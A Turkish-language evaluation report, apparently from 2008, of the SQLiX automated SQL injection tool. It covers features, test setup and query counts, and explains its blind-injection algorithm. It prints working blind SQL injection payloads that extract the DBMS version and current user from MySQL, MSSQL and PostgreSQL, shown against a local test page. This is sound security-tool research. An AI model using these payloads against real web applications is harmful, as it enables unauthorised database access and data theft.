Lisans
-
Versiyon
1.0
Yazar & Bağlantı Bilgileri
Cedric COCHIN, cedric.cochin at gmail dot com
Programlama Dili
Perl
Önkoşullar
Algorith::Diff
WWW::CheckSite
Tie::CharArray
URL
http://cedri.cc/tools/SQLiX_v1.0.tar.gz
Test Yatağı
win2k3 sp1 vmware image with ActivePerl 5.8.8 Build 819
MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45
Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)
1 hata, detaylar için Sqlix v1.0 - HÇÖ
Rapor İsmi
Sqlix - Otomatize SQL Enjektörü Analizi
Rapor Yazarı
Bedirhan Urgun, urgunb at hotmail dot com, www.webguvenligi.org
Rapor Tarihi
29 Şubat 2008
Komut Satırı/Grafiksel Arayüz
Komut Satırı
Başlat/Durdur/Devam Et Özellikleri
-
Dokümantasyon
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project#Command_line_usage adresinde çok temel bir dokümantasyon
Hafifsıklet Bilgiler
DBMS Banner (diğerleri -function="[saldırı_dizgisi_buraya]" -exploit opsiyonları ile dökülebilir)
Veritabanı İsimleri
-
Tablo İsimleri
-
Sutün İsimleri
-
Tablo Satırları
-
Temel Sorgu
SQLiX.pl -url="http://localhost/sqlinj.php?name=PENELOPE&type=1&order=1&database=mysql&log=0" -method_blind_statement -exploit
DBMS Banner'i alma
Püf Noktaları
-all opsiyonu yerine daha spesifik olanlar kullanılabili, mesela string tabanlı enjeksiyonlar için -method_blind_statement
Çalıştırılan Toplam Sorgu Sayısı
DBMS Banner Almak
Kör
Mysql: 111
Mssql: 974
Postgresql: 351
Oracle: -
Union
N/A
Kullanıcı İsmi Almak
Kör
Mysql: 180
Mssql: 119
Postgresql: 112
Oracle: -
Union
N/A
Kimlik Doğrulama Tipleri
Cookie
-cookie opsiyonu ile
Temel Kimlik Doğrulama
-
Özet Kimlik Doğrulama
-
NTLM
-
Sertifika
-
DBMS Desteği
Bu raporda kalın veritabanı isimleri başarılı olarak denenmiştir.
MSSQL
MYSQL
POSTGRESQL
ORACLE
DB2
MSACCESS
Gerçeklenen Enjeksiyon Tipleri
Kör
Doğru/Yanlış
Evet
Zaman Tabanlı
-
Hata Tabanlı
-
Union
-
Tek Kayıt Union
-
Bant Dışı Kanal
-
Anonimlik Desteği
User-Agent
-agent opsiyonu ile
Referrer
-referer opsiyonu ile
Proxy
-
Veritabanı Döküm Granüleritesi
banner, select top 1 ..., user() gibi tek değer dönen sorgular için
Diğer
302 Yönlendirme Yönetimi
-
Atlatma (Evasion) Özellikleri
string kodlama (ASCII->Char)
Özel Yapım SQL Sorgu Desteği
-function opsiyonu ile
Paralel İstekler
-.Ama kullanılan algoritma paralelliği desteklemektedir.
Enjeksiyon Noktaları
GET
Evet
POST
Evet
COOKIE
Evet
HTTP HEADERS
-
Otomatik Yazılım Yenileme
-
İstek/Cevap Kayıtları
-v hata ayıklama yolu opsiyonu ile
Programa Özel Kayıt Tutma
-
Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)
Evet
Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)
Evet. -file ve/veya -crawl opsiyonları ile
DBMS Banner Alma
Mysql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(version(),5,1))>>(2)&1)='1&database=&type=0&order=&log=1
...
Mssql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(@@version,21,1))/power(2,7)%2)='1&database=&type=0&order=&log=1
...
Postgresql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substr(version(),16))>>(5)&1)='1&database=&type=0&order=&log=1
...
Kullanıcı İsmi Alma
Mysql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(USER(),4,1))>>(3)&1)='1&database=&type=0&order=&log=1
...
Mssql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(user,2,1))/power(2,3)%2)='1&database=&type=0&order=&log=1
...
Postgresql
...http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substr(current_user,4))>>(1)&1)='1&database=&type=0&order=&log=1
...
Veritabanı isimleri
-
Tablo isimleri
-
Tablo sutün isimleri
-
Satırlar
-
Enjeksiyonu Bulma
Sqlix orjinal cevabın MD5'ini bulur ve her ikisini saklar (MD5 ve orjinal cevap). Sonra, saldırı dizgisini enjekte eder (mesela PENELOPE' AND '1'='1) ve cevabını alır, MD5'ini hesaplar. En sonunda MD5'leri karşılaştırır. Genel olarak araçlarda bu algoritma kullanılır ama saldırı dizgisi ile beraber cevap değişirse saldırı çalışacak ancak MD5'ler tutmayacaktır. SQLiX otomatik olarak orjinal cevap ve saldırı cevabı arasında bir fark (Delta) işlemi uygular ve kodlanmamış saldırı dizgisini (bizim örneğimizde PENELOPE' AND '1'='1 ) bu fark içinde arar. Eğer bulursa, cevabı enjeksiyonun var olduğu şeklinde algılar.
Diğer araçlar orjinal cevapta ve doğru saldırıya dönen cevapta bulunacak regex/anahtar kelime ler kabul ederler.
Kör SQL Enjeksiyon Algoritması
Sayılar, Karakterler
Sqlix bir verinin (dizgi/ascii karakter değeri veya sayı) boyunu anlamak için farklı bir yöntem kullanır; Bit kaydırma/2'ye bölme işlemi. Mysql'de sqliz bit kaydırma işlemi kullanır ve veriyi 7'den 1'e sağa doğru kaydırır. Bu da her bir veri için sabit 8 istek demektir.
(length(version())>>(7)&1)='1
(length(version())>>(6)&1)='1
(length(version())>>(5)&1)='1
(length(version())>>(4)&1)='1
(length(version())>>(3)&1)='1
(length(version())>>(2)&1)='1
(length(version())>>(1)&1)='1
(length(version())>>(0)&1)='1
Mssql'de bu işlem power (üs)'tür.
(len(@@version)/power(2,7)%2)='1
(len(@@version)/power(2,6)%2)='1
(len(@@version)/power(2,5)%2)='1
(len(@@version)/power(2,4)%2)='1
(len(@@version)/power(2,3)%2)='1
(len(@@version)/power(2,2)%2)='1
(len(@@version)/power(2,1)%2)='1
(len(@@version)/power(2,0)%2)='1
Dahası, kısayol olarak, DBMS banner'i dökerken örneğin, sqlix daha önceden belirlenmiş kelimeleri verinin içerisinde db'ye özel fonksiyonları kullanarak arar (mysql için Locate, mssql için PATINDEX). Örneğin, sqlix "Microsoft", "Debian", "community" gibi. Ama bu yeterli olmayacaktır. Bu nedenle banner'in alınamayan parçaları için yukarıda anlatıldığı gibi kör sql enjeksiyonu algoritması ile devam eder. Mssql için;
(ascii(substring(@@version,10,1))/power(2,7)%2)='1
(ascii(substring(@@version,10,1))/power(2,6)%2)='1
(ascii(substring(@@version,10,1))/power(2,5)%2)='1
(ascii(substring(@@version,10,1))/power(2,4)%2)='1
(ascii(substring(@@version,10,1))/power(2,3)%2)='1
(ascii(substring(@@version,10,1))/power(2,2)%2)='1
(ascii(substring(@@version,10,1))/power(2,1)%2)='1
(ascii(substring(@@version,10,1))/power(2,0)%2)='1
Bu algoritma sabit sayıda istek üretir. Bu nedenle, algoritma analizi O(n), O(8n), (n dökülen verinin uzunluğudur) olarak belirlenebilir.
Union Parse Algoritması
-